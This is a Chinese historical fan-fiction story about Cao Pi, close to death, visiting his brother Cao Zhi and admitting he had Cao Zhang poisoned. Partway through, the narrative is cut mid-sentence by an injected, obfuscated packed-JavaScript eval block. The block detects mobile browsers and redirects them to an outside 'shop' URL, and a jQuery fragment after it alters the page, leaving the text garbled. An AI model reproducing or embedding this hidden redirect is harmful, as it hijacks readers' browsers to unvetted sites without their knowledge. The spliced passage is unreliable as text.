黄初六年，冬。
东征班师的车驾自广陵北还，曹丕坐在车内，身上裹着厚厚的裘衣，却仍感觉寒意刺骨。
他手中握着一块缣帛，身前医师自入车以来便伏地不敢再起。
曹丕的目光落在手中这份脉案上，上书只所写寥寥几字：脉气将绝，真元耗散，虽汤药不可复也。
他不是贪生怕死之人，昔年他与景兴游宴，席间谈及生死，他曾说：人生有七尺之形，死为一棺之土，余独何人，能全其寿？①
那时他说这话时，子建就在席间举着酒盏笑吟吟地给他敬酒。
他记得那个笑，也记得很多事。
他记得黄初二年嘉福殿前殿，子建伏在他怀里说“我怕的是你不来见我”。
也记得黄初四年会节气，他站在建始殿西房的窗边，看着台下捧璧而立的玉面郎，悄悄看了很久。
昔年朱建平为他相面，说他四十有大灾厄，没想到如今便要兑现。
可他还有功业未成，他还未西征孙权统一大魏。
他不甘心啊！他还有很多话未说，很多事未安排。
以及……放不下黄初四年，曹植被送回封地时，在洛阳城门口的回望。
那一天，曹植的眼里有恨，他也是第一次在曹植的眼里看到对自己的恨。
再然后，他便决绝地转过身去，一次也没有回头。
两年来，每每午夜梦回，他都能梦到那天城门处的身影，在问自己为什么要杀了二兄。
可对于子文的死，他虽有愧，但却不悔。
曹彰联合旧部，欲在会节气时举兵。他若不杀，社稷何安？朝堂何安？
若子文事成，他固然一死了之，但那些追随他的人，那些将赌注压在他身上的人，都会如何呢？
他不能赌，只要曹彰乖乖退兵，他作为兄长可以留他一命。可曹彰不平啊，他是兄长，亦是皇帝，他只能将那一盘毒枣推过去。
往事如梦，他将手中帛书握紧，闭上眼。
“此事，勿泄于外。”他挥了挥手，声音中带着疲惫，“你下去吧。”
“喏。”医师再次俯身大拜，膝行退出车舆。
曹丕一个人在车内枯坐了不知多久，忽然高声开口问道：“现已至雍丘了吗？”
车外随行内侍的声音传来：“回陛下，还未至。”
曹丕沉默片刻，掀开车帘看向外边肆意的风雪：“传朕的令，朕与雍丘王多年未见，既然顺路，那便……便去叙叙旧吧。”
“喏。”
车外马蹄声渐行渐远，他亲眼看着传令的使者没入风雪之中，才放下车帘靠在车壁上。
刚才掀开帘子的冷风让他喉中发痒，想咳却咳不出来，因为他在紧张。
他是九五之尊，是大魏的开国皇帝，可是此刻竟也会为了即将见到一个人而紧张。
只因那个人是他弟弟，那个人恨他，恨他这个兄长杀了另一个兄长。
自从那次子文，从建始殿内被抬出去报的急病暴毙后，他看向自己的眼里好像就只有恨了。
子文的死，就像隔在他们之间的一条看不见的鸿沟，让他们再也回不去。
不过，曹丕将头靠在车壁，望着精美的华盖，会恨也好得很……
哪怕这次见面会不愉快，哪怕这次子建依旧会用那种愤恨的眼神看他，可他还是想见他，想见他最后一面。
他长叹一口气，像是是把心中的郁结疏通，终于猛咳出声，仓促下只能以袖掩唇，等再看时，袖上尽是刺目的鲜血。
“陛下？”车外的随侍循声问道。
“无事。”曹丕干脆直接用袖口将嘴边残留的血擦尽，“拿件新外袍来。”
很快内侍将新外袍恭敬递上，透过车帘掀开的一角能看见远方渐渐浮现的城墙轮廓。
雍丘，到了。
车帘掀开时，冷风扑面而来，激得他喉咙又在作痒，但这次他忍着没有咳出来。
雍丘城前的风雪中，曹植身着亲王朝见的礼服，那张脸低垂着。
既不会像二十岁时在铜雀台上那样作赋完悄悄寻找自己的身影，也不会像两年前会节气大宴上，当着众臣的面毫不畏惧地看向自己。
这次的他端正又守礼，平静地有点陌生。
曹丕起身下了车，风雪更盛，但他恍然未觉，只一步一步向城门走去，站在曹植的身前。
曹植没有抬头，他躬身行礼，声音平静：“臣雍丘王植，恭迎陛下。陛下车驾远道而来，臣已备暖阁，请陛下入内歇息。”
曹丕看着他一言不发，两人离得极近，可能是知道自己命不久矣，他想说点什么，明明从前是子建一见自己，就围上来说个不停，如今倒是反过来了。
但他最终还是什么都没说，只轻轻点头：“好。”
暖阁在雍丘王府的深处，一路上曹植安分地在前引路，曹丕却一直在正大光明地打量他。
曹植本来在前引路，但身后频繁的咳嗽声还是让他垂于袖边的手握紧又松开。
两人于暖阁对坐，之间只隔着一张案几、一壶酒、两盏杯，更多的还是时隔两年的沉默。
外间风雪愈下愈大，暖阁陈设虽然清简，但内里却是温暖如春，让曹丕苍白的面色也红润了些。
曹植只静静地端坐在那里，低头看着桌案，仿佛面前之人不是曾经的兄长，只是一个必须要接待的君王。
“你怎么一直低着头？”
听到问话，曹植也依旧是面无表情地低垂着头，恭声答道：“天家威仪，不可直视。”
曹丕看着面前这张熟悉又陌生的脸，子建从前是最爱笑的，铜雀台上，西园池畔，芙蓉宴中，哪一次不是笑得眉眼弯弯。
后来自他登基后，他又变得爱哭，两次嘉福殿中的哭诉，明明都多大的人了，却还哭得像个被抛弃的孩子。
可是现在这张脸上又变了，变得什么都没有，甚至连他方才预想的恨都没有。
若是他恨我倒也罢了，可这种平静反而是曹丕最不想看到的。
心头五味杂陈，其实不来见他是最好的，反正自己也命不久矣。可他还是想来见曹植一面，哪怕他并不想见自己。
就是不知道自己死后子建会不会像仲宣逝世时那样，大家一起学驴叫来送他。
应该不会吧？毕竟藩王无召不得进京，可他心里还是会有一种隐秘的期待。
若是可以，就不用子建学驴叫了，有机会在他的墓前放满葡萄和甘蔗吧，他喜欢吃。
反正自己终归是要走在他前头的。
就这样想着，曹丕不禁笑出了声，他端起酒盏：“子建，许久未见，兄长敬你一杯。”
听到他将自己唤作兄长，曹植微微皱了皱眉，但还是端起自己的酒盏和曹丕轻轻一碰。
“陛下如此礼待臣，臣实在惶恐。”这次他终于抬眸看向曹丕，“且陛下说笑了，不过两年而已，又怎能称得上许久未见。”
曹丕执杯的手微微一顿，杯中酒液险些洒出。
但他终究是什么也没说，将酒液一饮而尽，那酒入喉带着辛辣，却又酸涩非常。
曹植看着手中澄澈的酒液，酒液中倒映出他晦暗不明的双眼。
突然问道：“陛下，臣有一事始终不明，还望陛下告知。”
曹丕抬眼直视曹植，那双眼终于不再是刚才那么空洞守礼什么都没有的样子了。
他不知为何竟然有些高兴，那眼里有东西在动，恨也好，痛也罢，总比什么都没有好。
“你问。”
曹植放下酒盏，亦回望他的眼睛：“二兄之死，究竟是暴疾，还是……”
剩下的话他没有说完，也不必说完，未尽之言他们都懂。
曹丕并未直接回答他，反而重新为自己倒上一杯酒。
清澈的酒液入盏，映着炭火的红光，那光随着倾倒的动作一跳一跳，像是很多年前鄄城老宅里的烛火。
那时他们兄弟三人围坐在一起，子文会笑着揉子建的脑袋，将他的脑袋揉的一团乱，而后撇着嘴找自己告状。
他会假装训斥子文哄他，子文也会大喊“兄长偏心”然后背过身去等着子建来道歉。
那时他们都还小，小到不知道有一天，同母兄弟也会相残。
酒重新倒满，他抬眼看向曹植：“是我。”
曹植坐在席间，仰起头闭上眼，脑海中是朝见那一日二兄笑着说送自己一份大礼的神情，他浑身颤抖，手缓缓摸上自己腰间的礼剑。
只一瞬间，他就起身将剑拔了出来，剑锋直指曹丕。
他的手在抖，剑也在抖，寒光在两人之间明明灭灭，方才的所有克制守礼全都烟消云散。
曹植睁着眼，眼眶通红，泪水夺眶而出：“真的是你……竟然真的是你！”
曹丕低头看着指向自己的那柄剑，忽然笑了一下，他将自己新倒的那杯酒仰头饮尽。
伸手拔出了自己腰间的飞景剑在眼前用手拂过，剑身修长，寒光凛凛，乃是他亲手所铸。
他将剑柄调转，剑锋朝向自己，直接递了过去。
“既然想杀我。”他眼里全是坦然，没有一丝惧怕，“就用飞景，拿柄未开锋的礼剑做什么，连一层皮都削不掉。”
曹植愣在原地，心中大恸，他当然知道这是礼剑，就因为这是礼剑，他才会将它拔出。
这两年，他只要想到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317244|198975||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
曹彰从建始殿被抬出去的那个模样，就逼自己去恨曹丕。
可恨来恨去，最终拔出来的，还是一柄未开锋的礼剑。
他忍住心中悲痛，深吸一口气，手中的礼剑也掉落在地上，发出沉重声响。
“为什么？”
他一步一步后退，直到撞上了墙，才慢慢沿着墙壁滑坐下去，蜷缩在墙角，双手抱着头无声地流泪。
曹丕偏过头不去看他，起身收了飞景剑，而后走到炭盆边，从袖中取出一块缣帛扔了进去。
炭火烧得正旺，火舌瞬间就将它吞没，发着轻微的噼啪声，在只有两人的房间显得格外清晰。
曹丕看着盆中的脉案在高温下卷曲焦黑，化为灰烬，消散在暖阁的空气中，缓缓说道：
“子文联合旧部，欲在会节气之时发动兵变，被校事提前拦截递了上来。”
身后没有回答，只有压抑的抽泣声。
曹植并不意外这个答案，他知道兄长说的是真的。
建始殿那晚过后，他就一直在想二兄口中的大礼是什么，他早该明白的，如果他能早早劝住二兄，这一切是不是不会发生。
曹丕没有回头，他的手在炭盆边停了很久，仿佛知道他在想什么般，轻声说道：“子建，别多想。”
他转身走到曹植面前蹲下，脸上是温和的笑意：“此事，非你之错，非我之错，亦非子文之错，你切莫多想。”
曹植蜷缩在墙角，只看着他摇头流泪，泪水濡湿了整张脸。
曹丕伸出手先是将他额前散落的发丝轻轻拨到耳后，而后动作温柔地用拇指将他脸上的泪抚尽。
“兄长要走了。”
他说这句话的时候是带笑的，像是交代完所有的事，带着一种释然。
就在曹丕起身离去的时候，他的衣袖被一只手拽住，他低头看着，然后见那只手又松开了。
曹丕径直走到门边拉开了门，冷风夹杂着夜雪灌了进来吹得屋内炭火一暗。
原来，已经这么晚了……
“子建。”他没有回头，目视着前方的黑夜，“这些年，兄长一直将你留在封地……对不住。”
就在他迈出门槛的刹那，身后传来一声撕心裂肺的呐喊：
“兄长——！！！”
曹丕停了脚步，他没有回头，也不敢回头。
他怕一回头就能看见那张泪流满面的脸，这样他就走不了了。
更害怕一回头就看见那个蜷缩在墙角的身影，他会像小时候那样走过去抱住他说“子建不怕，兄长在这里。”
你恨我，可你知不知道，我也想你。
他没有回头，就这样走进风雪中，一次也没有。
————————
史书记载：
黄初六年，东征，还过雍丘，幸植宫，增户五百。
——《三国志·曹植传》
没人知道那一天暖阁里到底发生了什么，雍丘王府的侍从只知道，雍丘王在皇帝离开后，独自在暖阁里坐了一夜。
那夜的风雪很大，大到将许多未尽之言，未明之事都掩埋。
后来当他想尽所有未明事后，写下：
今皇帝遥过鄙国，旷然大赦，与孤更始，欣小和乐以欢孤，陨涕咨嗟以悼孤。
——《黄初六年令》
欣笑和乐以欢孤，陨涕咨嗟以悼孤。
他以为终于可以和兄长更始之时，却只等来了皇帝驾崩的消息……
他只能将满腹痛苦镌刻成《文帝诔》上的追慕三良，甘心同穴。
那个心中最在意的人，没有死在最爱他的那年，没有死在最恨他的那年，死在了以为终于要和好的那年。
——————————
窗外的雨还在下，曹植从梦中醒来。
他伏在案上，不知何时竟然睡着了，身下是一方新缣，上面还未写任何笔墨。
室内迷迭香的香饼已经燃尽了，窗外的冷雨夹杂着凉气，将屋内最后的一点暖意席卷一空。
曹植呆呆地望着这方素缣，脑中回想起那句“兄长要走了”，起身去榻上枕边拿出一个锦盒。
他伸手打开，里面除了许多和兄长有关的诗赋外还有一个玉玦，这是他珍藏多年的东西。
那枚玉玦上有着一些细碎的裂痕，好像是黄初四年那一次摔的，记不清了。
但是没关系，他已经仔细补好了。
他站在那看了很久，将那枚玉玦收至心口贴身放好，转身走回案边，将那张写有“太和元年”的缣帛拿出，扔进了香炉。
接着他坐回案边提笔：
黄初八年正月，雨，而北风飘寒，园果堕冰，枝干摧折。